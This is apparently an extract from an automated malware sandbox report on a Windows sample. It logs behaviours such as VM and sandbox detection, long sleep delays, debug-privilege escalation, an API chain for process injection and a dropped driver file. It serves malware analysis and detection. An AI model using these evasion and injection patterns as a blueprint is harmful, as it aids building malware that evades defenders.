Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dllhost.exe	Code function: OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,		68_2_0000000140001860
Source: C:\Windows\System32\dllhost.exe	Code function: OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,		73_2_0000000140001860

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dialer.exe

System information queried: FirmwareTableInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5356	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4472	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4593	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1870	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8665
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 674
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4042
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1727
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 9970
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9942
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9871
Source: C:\Windows\System32\dllhost.exe	Window / User API: threadDelayed 560

Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe

Dropped PE file which has not been started: C:\Windows\Temp\ihddniqxcjeb.sys

Jump to dropped file

Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\dialer.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_24-197
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess

Source: C:\Windows\System32\dllhost.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Windows\System32\conhost.exe	API coverage: 5.0 %
Source: C:\Windows\System32\dialer.exe	API coverage: 0.9 %
Source: C:\Windows\System32\conhost.exe	API coverage: 5.0 %
Source: C:\Windows\System32\winlogon.exe	API coverage: 6.0 %
Source: C:\Windows\System32\lsass.exe	API coverage: 7.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512	Thread sleep count: 5356 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512	Thread sleep count: 4472 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3844	Thread sleep count: 4593 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2476	Thread sleep count: 1870 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep count: 8665 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1104	Thread sleep count: 674 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7196	Thread sleep count: 4042 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6868	Thread sleep count: 1727 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1148	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8076	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 6996	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 3104	Thread sleep count: 9970 > 30
Source: C:\Windows\System32\winlogon.exe TID: 3104	Thread sleep time: -9970000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 7424	Thread sleep count: 9942 > 30
Source: C:\Windows\System32\lsass.exe TID: 7424	Thread sleep time: -9942000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6788	Thread sleep count: 242 > 30
Source: C:\Windows\System32\svchost.exe TID: 6788	Thread sleep time: -242000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 7304	Thread sleep count: 9871 > 30
Source: C:\Windows\System32\dwm.exe TID: 7304	Thread sleep time: -9871000s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 2484	Thread sleep count: 560 > 30
Source: C:\Windows\System32\dllhost.exe TID: 2484	Thread sleep time: -56000s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 5580	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7444	Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 7444	Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7592	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 7592	Thread sleep time: -252000s >= -30000s

Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\dialer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\conhost.exe	Code function: 31_2_000002408A29E110 FindFirstFileExW,	31_2_000002408A29E110
Source: C:\Windows\System32\conhost.exe	Code function: 67_2_0000014ECB4AE110 FindFirstFileExW,	67_2_0000014ECB4AE110
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC64E110 FindFirstFileExW,	69_2_00000225DC64E110
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC67E110 FindFirstFileExW,	69_2_00000225DC67E110
Source: C:\Windows\System32\lsass.exe	Code function: 70_2_00000202C0AEE110 FindFirstFileExW,	70_2_00000202C0AEE110
Source: C:\Windows\System32\svchost.exe	Code function: 71_2_000002A66130E110 FindFirstFileExW,	71_2_000002A66130E110
Source: C:\Windows\System32\dwm.exe	Code function: 72_2_000002BAAEE0E110 FindFirstFileExW,	72_2_000002BAAEE0E110
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_000002488060E110 FindFirstFileExW,	73_2_000002488060E110

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000047.00000002.2938262651.000002A66062A000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000

Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_65-91
Source: C:\Windows\System32\dllhost.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\dllhost.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Code function: 31_2_000002408A2981C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

31_2_000002408A2981C0

Source: C:\Windows\System32\dialer.exe

Code function: 65_2_0000000140832D30 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

65_2_0000000140832D30

Source: C:\Windows\System32\dialer.exe

Code function: 24_2_0000000140001C9C GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,StrStrIW,StrStrIW,StrNCatW,StrCatW,StrCatW,StrCatW,StrCatW,StrNCatW,StrCatW,StrCatW,StrCatW,StrStrIW,StrCatW,StrCpyW,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

24_2_0000000140001C9C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug

Source: C:\Windows\System32\conhost.exe	Code function: 31_2_000002408A298528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	31_2_000002408A298528
Source: C:\Windows\System32\conhost.exe	Code function: 31_2_000002408A2981C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000002408A2981C0
Source: C:\Windows\System32\conhost.exe	Code function: 31_2_000002408A29D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000002408A29D6D4
Source: C:\Windows\System32\dialer.exe	Code function: 64_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	64_2_0000000140001160
Source: C:\Windows\System32\conhost.exe	Code function: 67_2_0000014ECB4A81C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	67_2_0000014ECB4A81C0
Source: C:\Windows\System32\conhost.exe	Code function: 67_2_0000014ECB4AD6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	67_2_0000014ECB4AD6D4
Source: C:\Windows\System32\conhost.exe	Code function: 67_2_0000014ECB4A8528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	67_2_0000014ECB4A8528
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC6481C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	69_2_00000225DC6481C0
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC64D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	69_2_00000225DC64D6D4
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC648528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	69_2_00000225DC648528
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC6781C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	69_2_00000225DC6781C0
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC67D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	69_2_00000225DC67D6D4
Source: C:\Windows\System32\winlogon.exe	Code function: 69_2_00000225DC678528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	69_2_00000225DC678528
Source: C:\Windows\System32\lsass.exe	Code function: 70_2_00000202C0AED6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	70_2_00000202C0AED6D4
Source: C:\Windows\System32\lsass.exe	Code function: 70_2_00000202C0AE81C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	70_2_00000202C0AE81C0
Source: C:\Windows\System32\lsass.exe	Code function: 70_2_00000202C0AE8528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	70_2_00000202C0AE8528
Source: C:\Windows\System32\svchost.exe	Code function: 71_2_000002A66130D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	71_2_000002A66130D6D4
Source: C:\Windows\System32\svchost.exe	Code function: 71_2_000002A661308528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	71_2_000002A661308528
Source: C:\Windows\System32\svchost.exe	Code function: 71_2_000002A6613081C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	71_2_000002A6613081C0
Source: C:\Windows\System32\dwm.exe	Code function: 72_2_000002BAAEE081C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	72_2_000002BAAEE081C0
Source: C:\Windows\System32\dwm.exe	Code function: 72_2_000002BAAEE0D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	72_2_000002BAAEE0D6D4
Source: C:\Windows\System32\dwm.exe	Code function: 72_2_000002BAAEE08528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	72_2_000002BAAEE08528
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_00000248806081C0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	73_2_00000248806081C0
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_000002488060D6D4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	73_2_000002488060D6D4
Source: C:\Windows\System32\dllhost.exe	Code function: 73_2_0000024880608528 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	73_2_0000024880608528

HIPS / PFW / Operating System Protection Evasion

.NET source code contains process injector

